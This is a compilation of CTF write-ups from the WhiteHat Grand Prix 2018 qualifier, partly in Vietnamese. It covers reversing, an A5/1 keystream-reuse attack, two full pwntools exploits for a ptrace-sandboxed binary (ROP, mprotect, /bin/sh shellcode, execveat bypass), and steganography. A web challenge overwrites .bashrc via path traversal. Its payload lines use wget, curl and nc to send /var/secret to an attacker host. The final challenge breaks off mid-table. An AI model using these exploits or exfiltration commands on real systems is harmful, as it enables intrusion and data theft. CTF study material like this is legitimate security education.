Tổng hợp Write-up cuộc thi WhiteHat Grand Prix 2018 - Legends of Vietnam - vòng Sơ loại

re01 | Point: 100 | Team: BotnetArmy

Description:

This challenge is pretty straight forward asks for a key and gives us a flag. So I analyze the binary using IDA and found that at sub_40138F all the exciting stuff goes on.

Overall Key Verification idea is :

Mã:

first_xor = []
for v,k in zip(val,key):
    if (val.index(v) % 2):
        first_xor.append(chr(ord(v) ^ ord(k)))
    else:
        first_xor.append(chr(ord(v)))

add_and_xor = []
for k,f in zip(key,first_xor):
    add_and_xor.append(chr((ord(k) + ord(f)) ^ day))

second_xor = [chr(year ^ ord(v)) for v in first_xor]

This verification is defeated to get the key in this way :

Mã:

rev_first_xor = [chr(year ^ f ^ ord(v)) for f,v in zip(final,val)]

for i in range(len(val)):
    if i % 2 == 0:
        rev_first_xor[i] = val[i]

key = "".join([i for i in rev_first_xor])

After entering the correct key. The executable drop two files named 2.exe and b.dll in %temp% folder (sub_40111D) and runs the 2.exe using CreateProcessA with "564" as CLA.

After analyzing 2.exe we see that it checks for the parent process ID and must be named to "WhiteHat" if this so it drops the flag.dll in %temp% folder.

But wait this flag.dll is not actually a PE file. By seeing it's header we get that it is an PNG file. By changing the extension to .png we get our flag.

FLAG: today is good day

 

crypto01 | Point: 380 | Team: p4team

Description:

In the task we get lots of sources of the server and client applications. In short, the server is running a chatbot, which responds with a set of predefined responses, based on how close our input to predefined questions. The communication is encrypted via A5/1, where the symmetrical shared key is derived from secret key and timestamp.

Overview
The most important part is the chatbot loop:

Mã:

A51Comm a51Comm(secretKey, COMM_TIMEOUT, fd, fd);
if (DEBUG) {std::cout << "Enter encrypted mode\n";}
while(1) {
    if (!a51Comm.receive(sInput)) {
        // some error occured
        std::cerr << "Some error occured at receive\n";
        return 1;
    }
    l.log("Got: "); l.log(sInput);
    if (DEBUG) {std::cout << "Got: " << sInput << "\n";}
    if (sInput == "quit") {
        l.log("quit");
        if (DEBUG) {std::cout << "quit\n";}
        break;
    } else if (sInput == "super") {
        superMode = true;
        if (!a51Comm.send(std::string("Enter supper mode!"))) {
            // some error occured
            std::cerr << "Some error occured at send\n";
            return (1);
        }
        l.log("Enter super mode");
        getSuperSecretKey(superSecretKey, argv[3]);
        a51Comm = A51Comm(superSecretKey, COMM_TIMEOUT, fd, fd);
    } else if (sInput == "secret") {
        if (!superMode) {
            if (!a51Comm.send(std::string("You have not entered super mode!"))) {
                // some error occured
                std::cerr << "Some error occured at send\n";
                return (1);
            }
            l.log("Have not entered super mode!");
        } else {
            std::string data = "Secret: ";
            data += getSecretData(argv[4]);
            if (!a51Comm.send(data)) {
                // some error occured
                std::cerr << "Some error occured at send\n";
                return (1);
            }
            l.log("Sent secret");
        }
    } else {
        sResponse = getResponse(sInput, records);
        if (!a51Comm.send(sResponse)) {
            // some error occured
            std::cerr << "Some error occured at send\n";
            return (1);
        }
        l.log(sResponse);
    }
}

We can see here that the bot creates encrypted channel using the secret key we provide. Then it's waiting for commands. There are 2 interesting special command -> secret and super. First one sends us the flag, but it can only be invoked after super. The problem is that super triggers changing the encrypted channel to use a different secret key, which we don't know.

We need to invoke super command, and then issue secret command to get back the flag. However super will change the secret key, and from this point the server won't be able to properly decrypt our messages, and we won't be able to decrypt messages from the server.

A5/1 stream cipher
Without going into much details, the encryption in the task is using a stream-cipher with keystream derived from secret key and timestamp. However, the timestamp is changed only every 30 seconds, and there is no notion of any counter (like in CTR mode), so for 30 seconds keystream stays constant!

Timestamps are kept independent, and are sent with the encrypted message. This means the receiving side uses the timestamp we send to decrypt the data.

Recovering keystream and forging messages
Since the responses from the server are pre-defined, we can easily recover the keystream, by XORing the encrypted payload with the plaintext message. We can do this easily, because the message contains also the length, and most of the plaintexts have different length, only 24 is repeated. This means that even if the server changes the encryption secret key after we issue super command, we can recover the keystream!

With keystream, we can encrypt any message we want (assuming it's not too long) by simply XORing the message with keystream we recovered. We know the timestamp server used, so we can send the same one, to make sure the server gets identical keystream and decrypts message correctly. Server will also keep his own timestamp valid for 30 seconds, so every message will be encrypted with the same keystream, and therefore we can easily decrypt them.

Getting the flag
The idea of the attack is pretty simple now:

1. Connect to the server.
2. Send super message.
3. Send some random message, just so we can get back response from server encrypted with secret key. Repeat this if we get message which is too short (like Hey) or is ambigious (like length 24). Save the timestamp used by server.
4. XOR the ciphertext with known plaintext message with the same length to recover keystream.
5. Encrypt secret using the keystream by XORing and send the encrypted secret with the same timestamp server was using.
6. Save the encrypted flag we get.
7. Encrypt How are you? using the keystream by XORing and send the encrypted value with the same timestamp server was using. Repeat this until we get back the answer with length 56.
8. XOR the last message ciphertext with I'm a bot, I don't feel much of anything, how about you? to recover 56 bytes of keystream.
9. XOR keystream with encrypted flag.

We did this by modifying the client a bit, and writing the rest of the attack in python. We added a function to the crypto communication library, so we could send already encrypted payloads directly, using the same timestamp as server was using:

Mã:

bool A51Comm::send_raw_hex(const std::string& data)
{
    std::cout<<"========================== SEND RAW START =========================="<<"\n";
    timestamp = partnerTimestamp;
    uint64_t dataLength = data.length()/2;
    std::cout << "timestamp: " << timestamp << "\n";
    std::cout << "data-length: " << dataLength << '\n';
    const char* payload = hex_to_string(data).c_str();
    // send in form: p64(timestamp) + p64(data-length) + encrypted
    write(fdOut, &timestamp, 8);
    write(fdOut, &dataLength, 8);
    write(fdOut, payload, dataLength);
    std::cout<<"========================== SEND RAW END =========================="<<"\n";
    return true;
}

We modified the client a bit as well:

Mã:

A51Comm a51Comm(key, COMM_TIMEOUT, sockfd, sockfd);
  
   a51Comm.send(std::string("Hi"));
   a51Comm.receive(input);
   puts(input.c_str());

   a51Comm.send(std::string("super"));
   a51Comm.receive(input);
   puts(input.c_str());
  
   a51Comm.send(std::string("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"));
   a51Comm.receive(input);
   puts(input.c_str());
  
  while(true) {
       fgets(buffer, BUFF_LEN, stdin);
       buffer[strcspn(buffer, "\n")] = 0;
       if (!a51Comm.send_raw_hex(std::string(buffer))) {
        // some error occured
        fprintf(stderr, "Some error occured at send\n");
        exit(1);
        }
        if (!a51Comm.receive(input)) {
            // some error occured
            fprintf(stderr, "Some error occured at receive\n");
            exit(1);
        }
        puts(input.c_str());
   }

We automatically send greeting, then enter super mode, and then send lots of aa hoping to get a reasonably long response. After that we start sending raw hex payloads to the server. We also added logging of the raw hex payloads in the client.

The other part of the attack is:

Mã:

import codecs

from crypto_commons.generic import xor_string


def main():
    responses = {}
    with codecs.open("records.txt") as input_file:
        for line in input_file:
            if "<response>" in line:
                response = line[line.index("<response>") + 11:-1]
                responses[len(response)] = response
    length = raw_input("len: ")
    payload = raw_input("raw payload: ").decode("hex")
    s = responses[int(length)]
    xor_key = xor_string(s, payload)
    print('secret', xor_string("secret", xor_key).encode("hex").upper())
    print('How are you?', xor_string("How are you?", xor_key).encode("hex").upper())
    flag_ct = raw_input("flag payload")
    how_ct = raw_input("'How are you?' payload")
    xor_key = xor_string(how_ct.decode("hex"), responses[56])
    print(xor_string(flag_ct.decode("hex"), xor_key))


main()

This code asks for length and raw hex payload of the server message encrypted after entering super mode. We copy those values from the console client from the logging we added. Then it provides us with 2 hex payloads encrypted with the same keystream. We simply copy those 2 messages to the client. Then we copy back the payloads we got. We might need to send the last message a few times until we get back 56-long message.

Flag is 58 bytes long, and keystream we can get is up to 56 bytes, but last flag character is } so we need to test only 16 hexdigits to recover full flag.

The simple session is:

Mã:

len: 17
raw payload: 2d1f02a0a463f2bbb6dc4d89ffd3d8ed75
('secret', '175D0CF2A765')
('How are you?', '2C5718A0A363F8F6EFE551D3')
flag payload 375d0cf2a765a7f6c1e24d98eef5d8f420f4d73cb43f8fc8f02eecf2afba70d5a4072f336464fcb658f0b77225dee173e7bd8edbbce890f33a23
'How are you?' payload 2d1f02a0a331ffb9e2a604a5abd9d6ee7cb6c46ce262dbdbae39b9a2ebe320c3fd0d6070383ca7b043e4e67b3498e629b1f19fcca6b286fb
Secret: WhiteHat{63638833b68d6668d67415a749ffff899e7c5c7

The final flag is WhiteHat{63638833b68d6668d67415a749ffff899e7c5c75}

 

pwn01 | Point: 160 | Team: Injocker10K

Description:

Dịch ngược và tìm lỗi
Bài cho ta khá nhiều file:

1. giftshop
2. ptrace_64
3. ptrace_64.cpp
4. blacklist.conf
5. run.sh
6. menu.txt

Đọc run.sh ta thấy chương trình chạy dưới binary ptrace_64

Mã:

./ptrace_64 ./giftshop gift 1 60 50 blacklist.conf

Đọc source ptrace_64.cpp ta thấy chương trình load vào các tham số:

• ./giftshop: đường dẫn tới binary sẽ thực thi
• gift: binary giftshop sẽ chạy dưới quyền của username gift
• 1: global_cpu_time_limit
• 60: global_real_time_limit
• 50: memLimit
• blacklist.conf: đường dẫn tới file blacklist các syscall.

Nội dung file blacklist.conf:

Mã:

7
56
57
58
59
62
200
234
1
/home/gift/flag.txt

Hiểu nôm na là ptrace_64 sẽ chạy giftshop với quyền của user gift và trace các syscall để chặn các syscall trong file blacklist.conf, ngoài ra ptrace_64 còn chặn sys_open, sys_openat với đường dẫn /home/gift/flag.txt.

Dò bảng syscall cho x86_64 ta thấy các syscall bị chặn bao gồm:

• 7: sys_poll
• 56: sys_clone
• 57: sys_fork
• 58: sys_vfork
• 59: sys_execve
• 62: sys_kill
• 200: sys_tkill
• 234: sys_tgkill
• 1: sys_write

Phân tích file giftshop:
checksec ta thấy chương trình có các cờ NX enabled, PIE enabled. Coi sơ chương trình qua IDA ta dễ dàng nhận thấy chương trình không có hàm _stack_chk_fail và phát hiện lỗi bufferoverflow qua hàm ReadStr tại offset 0x1FEC.

Mã:

__int64 __fastcall readStr(const char *buff, int size)
{
  size_t len; // rdx
  __int64 result; // rax

  __isoc99_scanf("%s", buff);
  buff[strlen(buff)] = 0;
  len = strlen(buff);
  result = size;
  if ( len > size )
    Quit();
  return result;
}

Ta có thể bypass check bằng cách nhập null byte để strlen(buff) <= size.

Hàm main gọi hàm readInt (offset 0x2052) để chọn menu ta thấy hàm sử dụng hàm ReadStr với buff nằm tại stack nên ta có thể thực thi stackoverflow tại đây (do không có _stack_chk_fail)

Mã:

__int64 readInt()
{
  char nptr; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+Ch] [rbp-4h]

  readStr(&nptr, 4);
  v2 = atoi(&nptr);
  if ( v2 <= 0 || v2 > 256 )
    Quit();
  return v2;
}

Ý tưởng và giải quyết
Ta thực hiện ghi shellcode vào RECVNAME (offset 0x203120) trên BSS. Sau đó ta stackoverflow để ROP về mprotect nhằm tạo quyền cho vùng nhớ BSS có quyền read, write và execute sau đó nhảy về thực thi shellcode trên đó.

Mục tiêu tiếp theo là viết shellcode làm sao để bypass được ptrace, ta có 1 số ý tưởng:

1. Sử dụng sys_symlink để bypass sys_open nhưng ý tưởng này thất bại vì ptrace_64.cpp sử dụng hàm realpath để kiểm tra đường dẫn thực sự của file sẽ open.
2. Sử dụng stub_execveat: có thể thành công vì syscall này không nằm trong danh sách blacklist syscall.
3. Switch mode sang x86, sau khi switch sẽ bypass được các syscall number bị chặn nhằm thực thi sys_execve("/bin/sh")

Tiến hành thực hiện theo ý tưởng thứ 3:
Ta thấy các vùng nhớ được cấp phát đều lớn hơn 4 bytes (32 bits) nên ta cần mmap 1 vùng nhớ nhỏ hơn 4 bytes để setup cho các thanh ghi esp và eip của chương trình sau khi thực hiện switch. Ta thực hiện mmap(0x40000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) rồi read shellcode vào đó sau đó thực hiện retf với esp+0x4 là 0x23 (x86) để switch mode và nhảy về vùng chứa shellcode.

Payload exploit

giftshop.py

Mã:

from pwn import *
import time
import sys

def giftshop(DEBUG):
    if DEBUG=="1":
        r = process("./giftshop")
        raw_input("debug?")
    elif DEBUG=="2":
        r = process(['./ptrace_64', '/home/phieulang/2018/whitehatgrandprix/forPlayer/giftshop','gift', '1', '60', '50', 'blacklist.conf'])
        raw_input("debug?")
    elif DEBUG=="3":
        HOST = 'pwn01.grandprix.whitehatvn.com'
        PORT = 26129
        r = remote(HOST,PORT)
   
    def pause():
        time.sleep(0.05)

    context.arch = "amd64"
    r.recvuntil('OK First, here is a giftcard, it may help you in next time you come here !\n')
    base = eval(r.recvline())-0x2030D8
    log.info("base: %#x" %base)
    r.recvuntil('Can you give me your name plzz ??\n')
    r.sendline('\x00')
    pause()
    r.recvline("Enter the receiver's name plzz: \n")
    payload = "\x00"*(0x1e0-0x120)
    payload += asm(shellcraft.amd64.linux.read(fd=0, buffer=base+0x2031E0, count=0x500))
    # payload += "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
    r.sendline(payload)
    pause()
    r.recvuntil('Your choice:\n')

    payload = "10"
    payload = payload.ljust(0x10, "\x00")
    payload += p64(base+0x203e00) # rbp
    payload += p64(base+0x225F) # pop rdi; ret
    payload += p64(base+0x203000) # rdi
    payload += p64(base+0x2261) # pop rsi; ret
    payload += p64(0x1000)
    payload += p64(base+0x2265) # pop rdx; ret
    payload += p64(7)
    payload += p64(base+0x2254) # syscall;ret
    payload += p64(base+0x2031E0) # shellcode
    payload += p64(base+0xB40)
    r.sendline(payload)
    pause()
   
    shellcode = ''
    shellcode += asm(shellcraft.amd64.linux.syscall('SYS_mmap', 0x40000, 0x2000, 0x7, 0x22, -1, 0))
    shellcode += asm(shellcraft.amd64.linux.read(fd=0, buffer=0x40000, count=0x500))
    shellcode += asm("""
        xor rsp, rsp
        mov esp, 0x40500
        mov DWORD PTR [esp+4], 0x23
        mov DWORD PTR [esp], 0x40000
        retf
    """)
    payload = "\x90"*0x25
    payload += shellcode
    r.sendline(payload)
    pause()
    payload = "6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80".decode("hex") # shellcraft.i386.linux.sh()
    pause()
    r.sendline(payload)
   
    r.interactive()
   
giftshop(sys.argv[1])
# WhiteHat{aeb7656b7a397a01c0d9d19fba3a81352e9b21aa}

 

pwn01 | Point: 160 | Team: HATSSG

Description:

This challenge provides a binary and a ptrace program that runs alongside the challenge binary. The intention of the ptrace program is to monitor the child challenge binary to block certain syscalls (execve …) and to prevent certain filenames like /home/gift/flag.txt from being read with the open and openat syscalls. The challenge also prints a pointer in the .bss section and thus PIE doesn’t matter as we have a leak.

Mã:

welcome to an ez exploit challenge ----- author RUSSIAN CHIBI
----------------Gift shop----------------
choose whatever U want

OK First, here is a giftcard, it may help you in next time you come here !
0x5651b7e780d8
Can you give me your name plzz ??
bbbb
Enter the receiver's name plzz:
cccc
Oh Hi what do you want bbbb??


----------------Gift shop----------------

1: Order
2: Show order
3: Delete order
4: Loyal customers area
5: Exit
Your choice:

We are first asked for a name, which is vulnerable to a format string attack.

Mã:

snprintf((char *)&orders + 96 * i, 30uLL, &name_l);
snprintf((char *)&orders + 96 * i + 30, 30uLL, &recv_l);

However, as far as I know, most of the important format specifiers are checked and banned. So I moved on from this vulnerability.

After exploring the binary. I notice that there is a simple buffer overflow in the order option when they prompt for “A letter for her/him”. This buffer overflow allows us to overwrite the saved rip with at most 1.5 64-bit addresses, thus if we don’t have a single win gadget we won’t be able to write a proper ROP chain.

Additionally, this buffer overflow allows you to overwrite i [$bp-0x8h] on the stack, which is the index of the current order you are creating. By overwriting this variable with 0xffffffff = -1, it allows us to send our malloc()'d chunk pointer backwards in the .bss section, close enough that we can leak it when our name is 16 bytes long. With this we are able to have a heap address leak when we show our order.

Mã:

index: 1 - Name: bbbbbbbbbbbbbbbb�ҕ�4V - receiver: cccc
           List item: 2
           Price: 2 

Now we have a heap address leak, but how do we redirect code execution signifcantly? The solution I used was to overwrite the saved rbp on the stack with the buffer overflow I previously mentioned in the order functionality. If we overwrite the saved rbp to a location we control, i.e. some data on the heap, and we overwrite the saved rip with a leave; ret gadget, we can execute any ROP chain we want. I wrote my ROP chain in the address section of my order as it had an unrestrcted large write of 512 bytes.

So what ROP chain do we write? I initially tried a open-read-puts ROP chain in order to read the flag /home/gift/flag.txt. However, there were two issues with this. Firstly, the ptrace debugger program checks for banned file names when the open and openat sycalls are called.

Mã:

//example of the black list for sys_open
431 if (sysCall == SYSCALL_OPEN) { // open
432     string filePath = getCString(global_child_id, regs.rdi);
433     if (fileInBlackList(filePath)) {
434         gLog.log("Violation detected: opening file ", false); gLog.log(filePath);
435         mKillChild();
436         exitCode = EXIT_CODE_VIOLATION;
437         break; // do not allow syscall to finish
438     }
439 }

The other issue I had was that I could not find a gadget to retrieve the value of $eax after the opensyscall, therefore I didn’t know the fd that I should read from. However, I think this could have been possibly bruteforced.

Therefore I had to change my ROP chain. My new ROP chain used mprotect on the .bss section to give it RWX permissions. Then it called the read syscall from stdin to write to the section with RWX. Afterwards I just make my ROP chain jump to this same address. I used the previous read to write execveat shellcode to the RWX section as execve was blacklisted but not execveat.

After this we get a shell! The flag is now ours!

WhiteHat{aeb7656b7a397a01c0d9d19fba3a81352e9b21aa}

exploit.py

Mã:

#!/usr/bin/python
from pwn import *
import sys
#sys.path.append('/home/lord_idiot/CTF-Tools/python-libs')

HOST = "pwn01.grandprix.whitehatvn.com"
PORT = 26129

#context.log_level = "DEBUG"

def order(l, addr, letter):
    r.sendlineafter("Your choice:\n", "1")
    r.sendlineafter("Would you want to change your name or receiver's name ? y/n\n", "n")
    r.recvuntil("\n")
    for i in l:
        r.sendline(str(i))
    r.sendline("6")
    r.sendlineafter("Do you want to ship it ? y/n\n", "y")
    r.sendlineafter("Enter your address: \n", addr)
    r.sendlineafter("A letter for her/him:\n", letter)
    return

def show(ind):
    r.sendlineafter("Your choice:\n", "2")
    r.recvuntil("index: {} - Name: ".format(ind))
    return r.recvuntil(" - receiver")[:-11]


def exploit(r):

    r.recvuntil("0x")
    base = int(r.recvline().strip("\n"), 16)-0x2030D8
    leaveret = base + 0x1176

    r.sendlineafter("Can you give me your name plzz ??\n", "b"*16)
    r.sendlineafter("Enter the receiver's name plzz: \n", "cccc")

    #leak heap address
    order([2], "boobs", "A"*200+p32(0xffffffff))
    order([2], "address", "letter")
    heapleak = u64(show(1)[16:].ljust(8, "\x00"))
    print hex(heapleak)
    print hex(base)

    #bof to rop
    rdi = base + 0x225f
    rsi = base + 0x2261
    rdx = base + 0x2265
    rax = base + 0x2267
    ret = base + 0xae1
    addraxrdx = base + 0xf3f
    syscall = base + 0x2254
    fread = base + 0xbf0
    puts = base + 0xb40
    setbuf = base + 0xb70

    rop = p64(ret)*21 #some rop nops because my local heap offsets are different from the remote offset (different libc versions)
    # #open
    # rop += p64(rdi) + p64(heapleak)
    # rop += p64(rsi) + p64(0)#p64(heapleak-0x2b0+len("/flag.txt\x00"))
    # rop += p64(rdx) + p64(0)
    # rop += p64(rax) + p64(2)
    # rop += p64(syscall)

    # # rop += p64(rdx) + p64(base + 0xda0 - int(sys.argv[2]))
    # # rop += p64(addraxrdx)

    # #read
    # rop += p64(rdi) + p64(0)
    # rop += p64(rsi) + p64(base+0x203820)
    # rop += p64(rdx) + p64(30)
    # rop += p64(rax) + p64(0)
    # rop += p64(syscall)
    # #write
    # rop += p64(rdi) + p64(base)
    # rop += p64(puts)
    # rop += p64(rdi) + p64(heapleak)
    # rop += p64(puts)
    # rop += p64(rdi) + p64(base+0x203820)
    # rop += p64(puts)

    #mprotect
    rop += p64(rdi) + p64(base + 0x203000)
    rop += p64(rsi) + p64(4096)
    rop += p64(rdx) + p64(7)
    rop += p64(rax) + p64(9)
    rop += p64(base + 0x2250)#p64(syscall)

    #read
    rop += p64(rdi) + p64(0)
    rop += p64(rsi) + p64(base + 0x203000)
    rop += p64(rdx) + p64(40)
    rop += p64(rax) + p64(0)
    rop += p64(syscall)

    rop += p64(base + 0x203000)


   
    rop_addr = heapleak+0x370 #-0x2b0
    order([2], rop, "B"*200+p64(2)+p64(rop_addr)+p64(leaveret))

    shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
    r.sendline(shellcode)


    r.interactive()
    return

if __name__ == "__main__":
    elf_name = "./giftshop"
    e = ELF(elf_name)
   
    libc_name = ""
    #libc = ELF(libc_name)

    if sys.argv[-1] == "remote":
        r = remote(HOST, PORT)
        exploit(r)
    else:
        if libc_name != "":
            r = process(elf_name, env={"LD_PRELOAD" : libc_name})
        else:
            r = process(elf_name)
        print util.proc.pidof(r)

        if sys.argv[-1] == "debug":
            pause()
        exploit(r)

 

web01 | Point: 100 | Team: p4team

Description:

In the task we get access to a python-based file upload service. We can download uploaded files, including the server file itself.

If we diff this file with the original, we can notice there is only a single change -> the special case when file we want to upload already exists. It seems with the script running on the server we could overwrite files because no such check exists!

Let's look at how the files are uploaded:

Mã:

fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
if not fn:
    return (False, "Can't find out file name...")
path = self.translate_path(self.path)
fn = os.path.join(path, fn[0])
if "index" in fn.lower():
    return (False, "Can't create file to write, do you have permission to write?")
line = self.rfile.readline()
remainbytes -= len(line)
line = self.rfile.readline()
remainbytes -= len(line)
try:
    out = open(fn, 'wb')
except IOError:
    return (False, "Can't create file to write, do you have permission to write?")

Interesting part is that the filename taken for the output file is taken from the POST request almost directly. This means if we send for example path /etc/passwd if would actually try to overwrite this file.

This would not be very useful, however we know that manhndd (...) ssh into server to check /var/secret. We can, therefore, overwrite contents of .bashrc or .profile, and they would get executed once admin logs in to the machine.

We know the username, so we can guess the path is /home/manhndd. We can easily verify this, since the uploader returns an error if we can't write the file.

The final payload is:

Mã:

from time import sleep

import requests


def main():
    while True:
        url = 'http://web01.grandprix.whitehatvn.com/'
        files = {'file': ('/home/manhndd/.profile', open('payload.txt', 'rb'))}
        r = requests.post(url, files=files, headers={"referer": "dupa.pl"})
        print(r.text)
        files = {'file': ('/home/manhndd/.bashrc', open('payload.txt', 'rb'))}
        r = requests.post(url, files=files, headers={"referer": "dupa.pl"})
        print(r.text)
        sleep(1)
main()

With payload set to curl/wget/nc sending the flag to us:

Mã:

wget --post-file=/var/secret http://our.host;
curl -F "[email protected]/var/secret" http://our.host;
cat /var/secret | nc our.host port;

Keep in mind, the file gets overwritten, so other teams can overwrite our payload. From what we noticed, there were teams who purpously were doing that, to prevent others from getting the flag.

It took a while for us to get lucky with race condition, but finally we got g1ftfr0mNQ

WhietHat{de88772f933d8447b9b8c5e22ce399ba512180e0}

 

misc02 | Point: 100 | Team: 0x90r00t

Description:

Hint:

Resolution
First, we download an iso file : Hacker.iso

Once the archive is extracted, we start looking for the image that interests us. A simple grep gives us its location.

Mã:

grep -R jpg.pgp
MAILDIR/CUR/15334499.COM:Content-Type: application/octet-stream; name="SaintGiong.jpg.pgp"
MAILDIR/CUR/15334499.COM:Content-Disposition: attachment; filename="SaintGiong.jpg.pgp"

By renaming the .COM to .eml, Thunderbird opens the mail directly and retrieves the encrypted image that is attached. The next step is to find the key.

A quick search in the files allows us to find a private key PGP, It is here: Hacker/ETC/MAIL/PRIVATE.ASC

The problem now is to find the passphrase that will allow us to use this key to decipher the image.

The use of pgp2john with John The Ripper and the well-known Rockyou dictionary gives nothing. But looking at the contents of the folder Hacker/ETC/MAIL,we see this:

Mã:

ENCRYPT.PYC
PRIVATE.ASC
SPAMASSA 

The ENCRYPT.PYC file attracts our attention … Let’s decompile it to see its content!

For this we use the tool uncompyle6.

To install it:

Mã:

sudo pip install uncompyle6

Then:

Mã:

uncompyle6 ENCRYPT.PYC decrypted.py

Here is the content of the python script obtained.

Mã:

# uncompyle6 version 3.2.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
# [GCC 7.3.0] # Embedded file name: ./encrypt.py
# Compiled at: 2018-08-16 09:16:13
import struct, sys, base64
password_enc = 'JTd1XyoIbmc3PWhpOjhfVhsIbmcAAAAA'
if len(sys.argv) != 2:
    print 'Usage: %s data' % sys.argv[0]
    exit(0) data = sys.argv[1]
padding = 4 - len(data) % 4
if padding != 0:
    data = data + '\x00' * padding
result = []
blocks = struct.unpack('I' * (len(data) / 4), data)
print blocks
for block in blocks:
    result += [block ^ block >> 16]
    output = ''
for block in result:
    output += struct.pack('I', block)
print output
print base64.b64encode(output)

A line catches our attention: password_enc = ‘JTd1XyoIbmc3PWhpOjhfVhsIbmcAAAAA’

Could it be the passphrase !?

The Python scrypt encrypts a string of characters. The process is simple, it is easy to reverse to decipher JTd1XyoIbmc3PWhpOjhfVhsIbmcAAAAA.

Here is the script that will decipher password_enc

Mã:

import struct, sys, base64
password_enc = 'JTd1XyoIbmc3PWhpOjhfVhsIbmcAAAAA'
c = base64.b64decode(password_enc)
blocks = struct.unpack('I' * (len(c) / 4), c)
print blocks
result = []
for block in blocks:
    result += [block ^ block >> 16]
output = ''
for block in result:
    output += struct.pack('I', block)
print output 

We get: Phu_Dong_Thien_Vuong

Immediately, we try to import the key with the passphrase Phu_Dong_Thien_Vuong:

Mã:

gpg --import PRIVATE.ASC

Yes, it works!

We can now extract the image:

Mã:

gpg --decrypt SaintGiong.jpg.pgp img.jpg

Then, the second hint is useful to us.
Indeed, outguess is a small tool that can hide text in an image.

Mã:

sudo apt install outguess

Then

Mã:

outguess -r img.jpg hidden.txt

We obtain the following text:

Mã:

While the sixth Hung Vuong Dynasty, our country, then called Van Lang was under the menace of the An , situated in the North of Vietnam’s borders.
 
Hung Vuong King was very worried and assembled his court to prepare a plan of defense for the country. A mandarin of the civil service reminded the King that the original founding King of the country, Lac Long Quan had instructed that if the country were ever to face danger, it should pray for his help.
 
In that situation, the King then invoked the spirit of the founding King.
 
Three days later, a very old man appeared in the midst of a storm and said that he was Lac Long Quan himself. He prophesied that in three years the An from the North would try to invade the country; he advised that the King should send messengers all over the country to seek help from talented people, and that thereafter a general sent from heaven would come to save the country.
 
Event though three years later, indeed came the tempestuous foreign armies trying to take over the Southern Kingdom. At the capital city of Phong Chau, King Hung Vuong still remembered the instruction from Lac Long Quan.
 
However Even earlier than, at the village of Phu Dong, County of Vo Ninh, Province of Bac Ninh, a woman in her sixties reported she had seen footprints of a giant in the field.
 
Amazed, she tried to fit her feet in the footprints and suddenly felt that she was overcome by an unusual feeling.
 
Thereafter she became pregnant and delivered a boy whom she named Giong. Even at the age of three, Giong was not able to crawl, to roll over, or to say a single word.
 
Surprisingly, at the news of the messenger from the King, Giong suddenly sat up and spoke to his mother, asking her to invite the messenger over to their home.
 
He then instructed the messenger to request the King to build a horse and a sword of iron for him so that he could go and chase the invaders away.
 
When the horse and sword were eventually brought to his home, Giong stood up on his feet, stretched his shoulders, became a giant of colossal proportions, and asked his mother for food and new clothing.
 
She cooked many pots of rice for him but it was not enough for his appetite. The whole village brought over their whole supply of fabric and it was still not enough for his size.
 
Giong put his helmet on, carried his sword, jumped on the back of his horse and rode away, as fast as a hurricane. The iron horse suddenly spit fire, and brought Giong to the front line at the speed of lightning. The invaders saw Giong like a punishing angel overwhelming them.
 
Their armies were incinerated by the flame thrown from the horse's mouth. Their generals were decapitated by Giong’s sword. When it finally broke because of so much use, Giong used the bamboo trees that he pulled up from the sides of the road and wiped away the enemies.
 
Afterwards, he left his armor on the mountain Soc (Soc Son) and both man and horse flew into the sky.
 
Legend holds that lakes in the area of mountain Soc were created from the footprints of Giong’s horse. At the site of the forest where he incinerated the enemy armies is now the Chay Village ("Chay" meaning burned).
 
In recognition of Giong's achievement, King Hung Vuong proclaimed him Phu Dong Thien Vuong (The Heaven Sent King of Phu Dong Village). For the people of his country, he is better known as Thanh Giong ("Saint" Giong)

It clearly shows WHITEHAT … looking at the first letters of each paragraph.

Finally:

Mã:

echo -n "WHITEHATSHWSGTALI" | openssl sha1
 
(stdin)= 05cc532353023d5954da9507e189a55296f6db97

Flag : WhiteHat{05cc532353023d5954da9507e189a55296f6db97}

The obtained flag validates the challenge.

Nice challenge

 

misc04 | Point: 140 | Team: p4team

Description:

Hint:

In the task we get access to an application:

Mã:

Wellcom to Friendly face challenge
According to experts, the formula for measuring the friendliness of a face is
    (lip point**nose point)**(eyes point**forehead point) mod Face_index
                              Now play!
------------------------------Stage 1--------------------------------------
Face_index: 9928546
Face           Lip point      Nose point     Eyes point     Forehead point
:-)            568824892      457742011      941012180      253144504     
(';')          23952035       628931911      972045092      777026341     
(=^..^=)       686029537      64319452       611190375      112129192     
:)             617374078      81959857       20649197       24703650       
:-]            280039606      627778866      988980689      684158291     
:]             60783119       594342583      347303300      539141757     
:-3            321261378      928676123      34262697       822086619     
:3             321223152      802095261      306245331      746806683     
:->            267149366      274650373      453784293      155962876     
:>             147037766      878265535      332179064      544535138     
:-*            282364953      414082899      798987403      764105746     
:*             583265502      889346653      407539632      137243339     
(>_<)          133984875      66646715       716020719      488324317     
(>_<)>         727687008      366192925      114776444      54859934       
(';')          437962554      268054657      936090419      377085453     
(^_^;)         964356686      583217140      860994507      930144447     
(-_-;)         574103967      483119825      355139943      678768494     
(~_~;)         389800758      803218695      435535853      239965696     
(...;)         359662407      610432925      642837810      772797892     
(._.;)         509720900      307969711      80913034       958275474     
^_^;           859083357      536473752      783709719      414574837     
(#^.^#)        557456218      753671213      649539972      266160251     
(^^;)          140043688      782606707      915951984      913136529     
(-_-)zzz       866318536      905466702      220292777      185393572     
(^_-)          445063898      96616021       982269754      18154         
((+_+))        792421359      230028929      670678620      542664022     
(+o+)          902780243      773999795      696449166      573196057     
^_^            482459943      486150568      797684171      883635208     
(^_^)/         194918846      505240052      344925190      628519414     
(=_=)          204409002      470486904      847693668      200782527     
